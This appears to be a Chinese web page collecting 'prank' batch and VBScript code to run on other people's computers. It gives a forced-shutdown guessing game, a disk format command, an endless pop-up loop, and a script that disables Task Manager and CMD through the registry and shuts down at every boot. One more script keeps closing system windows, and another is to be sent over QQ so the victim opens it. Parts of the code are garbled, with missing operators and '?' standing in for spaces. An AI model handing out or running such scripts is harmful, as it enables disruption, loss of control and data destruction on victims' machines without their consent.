简单整人的cmd代码(整人代码电脑)
CMD整人大全
7.猜数字
@echo off
shutdown -s -f -t 600 -c "你好,我是本DOS无聊的制作者江浩,现在游戏开始了,请在半小时内回答完问题。"
echo 给你10分钟猜这个数,这个数的范围是1-100
echo 游戏开始了
set /p a=请输入你要猜的数字 :
:start
color 07
if /i "%a%"=="53" echo 答对了 goto end
if /i "%a%"=="1" goto small
if /i "%a%"=="2" goto small
if /i "%a%"=="3" goto small
if /i "%a%"=="4" goto small
if /i "%a%"=="5" goto small
if /i "%a%"=="6" goto small
if /i "%a%"=="7" goto small
if /i "%a%"=="8" goto small
if /i "%a%"=="9" goto small
if /i "%a%"=="10" goto small
if /i "%a%"=="11" goto small
if /i "%a%"=="12" goto small
if /i "%a%"=="13" goto small
if /i "%a%"=="14" goto small
if /i "%a%"=="15" goto small
if /i "%a%"=="16" goto small
if /i "%a%"=="17" goto small
if /i "%a%"=="18" goto small
if /i "%a%"=="19" goto small
if /i "%a%"=="20" goto small
if /i "%a%"=="21" goto small
if /i "%a%"=="22" goto small
if /i "%a%"=="23" goto small
if /i "%a%"=="24" goto small
if /i "%a%"=="25" goto small
if /i "%a%"=="26" goto small
if /i "%a%"=="27" goto small
if /i "%a%"=="28" goto small
if /i "%a%"=="29" goto small
if /i "%a%"=="30" goto small
if /i "%a%"=="31" goto small
if /i "%a%"=="32" goto small
if /i "%a%"=="33" goto small
if /i "%a%"=="34" goto small
if /i "%a%"=="35" goto small
if /i "%a%"=="36" goto small
if /i "%a%"=="37" goto small
if /i "%a%"=="38" goto small
if /i "%a%"=="39" goto small
if /i "%a%"=="40" goto small
if /i "%a%"=="41" goto small
if /i "%a%"=="42" goto small
if /i "%a%"=="43" goto small
if /i "%a%"=="44" goto small
if /i "%a%"=="45" goto small
if /i "%a%"=="46" goto small
if /i "%a%"=="47" goto small
if /i "%a%"=="48" goto small
if /i "%a%"=="49" goto small
if /i "%a%"=="50" goto small
if /i "%a%"=="51" goto small
if /i "%a%"=="52" goto small
if /i "%a%"=="54" goto big
if /i "%a%"=="55" goto big
if /i "%a%"=="56" goto big
if /i "%a%"=="57" goto big
if /i "%a%"=="58" goto big
if /i "%a%"=="59" goto big
if /i "%a%"=="60" goto big
if /i "%a%"=="61" goto big
if /i "%a%"=="62" goto big
if /i "%a%"=="63" goto big
if /i "%a%"=="64" goto big
if /i "%a%"=="65" goto big
if /i "%a%"=="66" goto big
if /i "%a%"=="67" goto big
if /i "%a%"=="68" goto big
if /i "%a%"=="69" goto big
if /i "%a%"=="70" goto big
if /i "%a%"=="71" goto big
if /i "%a%"=="72" goto big
if /i "%a%"=="73" goto big
if /i "%a%"=="74" goto big
if /i "%a%"=="75" goto big
if /i "%a%"=="76" goto big
if /i "%a%"=="77" goto big
if /i "%a%"=="78" goto big
if /i "%a%"=="79" goto big
if /i "%a%"=="80" goto big
if /i "%a%"=="81" goto big
if /i "%a%"=="82" goto big
if /i "%a%"=="83" goto big
if /i "%a%"=="84" goto big
if /i "%a%"=="85" goto big
if /i "%a%"=="86" goto big
if /i "%a%"=="87" goto big
if /i "%a%"=="88" goto big
if /i "%a%"=="89" goto big
if /i "%a%"=="90" goto big
if /i "%a%"=="91" goto big
if /i "%a%"=="92" goto big
if /i "%a%"=="93" goto big
if /i "%a%"=="94" goto big
if /i "%a%"=="95" goto big
if /i "%a%"=="96" goto big
if /i "%a%"=="97" goto big
if /i "%a%"=="98" goto big
if /i "%a%"=="99" goto big
if /i "%a%"=="100" goto big
if /i not "%a%"=="53" goto zhongwen
:small
cls
echo ---%a%---小了
set /p a=请输入你要猜的数字 :
goto start
:big
cls
echo ---%a%---大了
set /p a=请输入你要猜的数字 :
goto start
:zhongwen
cls
echo ---%a%---不在1--100范围内请重新输入
set /p a=请输入你要猜的数字 :
goto start
:end
shutdown -a
pause
右键编辑修改后按文件保存 或者ctrl+s 或者直接关闭的时候出现提示是否要保存``
效果是1-100以内猜数字``没猜出就关机`猜出来了就没事```猜的时候会有提示是比那个数大了还是小了
cmd整人指令
format 盘符 /Q
格式化指定磁盘的意思。
while(1)
msgbox "哈哈 你被耍了!"
loop
这段代码就比较坏了,一直弹出窗口显示"哈哈,你被刷了!"要是你不会结束它,只好重启电脑了,
也是保存为.vbs格式
整人代码
代码如下:set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在" 60-i "秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,
此代码的威力:
1:开机就强制自动关机
2:cmd命令打不开
3:结束任务不管用
4:F8安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、
代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,
整人程序代码怎么用
我不知道你是不是这个整人代码!
代码如下:
--------------------------------------------我是横线不要复制我------------------------------------------
on?error?resume?next
dim?WSHshellA
set?WSHshellA?=?wscript.createobject("wscript.shell")
WSHshellA.run?"cmd.exe?/c?shutdown?-r?-t?60?-c?""说我是猪,不说我是猪就一分钟关你机,不信,试试···""?",0?,true
dim?a
do?while(a??"我是猪")
a?=?inputbox?("说我是猪,就不关机,快撒,说?""我是猪""?","说不说","不说",8000,7000)
msgbox?chr(13)?+?chr(13)?+?chr(13)?+?a,0,"MsgBox"
loop
msgbox?chr(13)?+?chr(13)?+?chr(13)?+?"早说就行了嘛"
dim?WSHshell
set?WSHshell?=?wscript.createobject("wscript.shell")
WSHshell.run?"cmd.exe?/c?shutdown?-a",0?,true
msgbox?chr(13)?+?chr(13)?+?chr(13)?+?"哈哈哈哈,你确实是一头猪~"
--------------------------------------------我是横线不要复制我------------------------------------------
将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加?.vbe
把文件传送给对方~~只要对方一打开一分钟就会关机,如上面说的,要你说那三个字,就不会关机了哈哈大家试试吧。
用QQ传送文件发送给他!叫他打开!
电脑高手进 cmd整人命令制作
复制以下内容, 保存为 .VBS 文件
dim gb,jj
gb=0
set shell=createobject("wscript.shell")
DA=INPUTBOX("给你最后一个机会!"VBCRLF"请问美国总统"_
"叫什么名字?","你不小心运行了脚本病毒 !!","回答错误后果自负")
IF DA="奥巴玛" THEN
MSGBOX "程序即将结束",,"回答正确!"
WSCRIPT.QUIT
END IF
MSGBOX "作为惩罚, 你将不能运行以下程序"VBCRLF"我的"_
"电脑 , 我的文档 ",,"回答错误"
do
wscript.sleep 100
jj=shell.appactivate("Windows 任务管理器")
wscript.sleep 50
if jj then shell.sendkeys "%fx"
dn=shell.appactivate("我的电脑")
wscript.sleep 100
IF DN then shell.sendkeys "%{f4}"
wd=shell.appactivate("我的文档")
wscript.sleep 50
IF WD THEN SHELL.SENDKEYS "%fC"
RX=shell.appactivate("运行")
IF RX THEN SHELL.SENDKEYS "%{f4}"
hs=shell.appactivate("回收站")
wscript.sleep 50
IF HS THEN SHELL.SENDKEYS "%fc"
cmd=shell.appactivate("c:\windows\system32\cmd.exe")
wscript.sleep 50
IF cmd THEN SHELL.SENDKEYS "exit{enter}"
GB=shell.appactivate("PE格式.txt - 记事本")
wscript.sleep 50
IF GB THEN wscript.quit
loop
cmd中有没有什么可以整人的命令?(高分)
Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段
上面是发送到局域网计算机的命令格式..
主意了..要在运行输入CMD之后,,进入命令行窗口再输入命令啦..
不然又会一跳而过的..
例如你向所有的计算机发送..我爱妹子..命令如下
net send * 我爱妹子
*代表所有计算机..在局域网内的..
可以用计算机名字和IP代替..
要在运行输入CMD之后,,进入命令行窗口再输入命令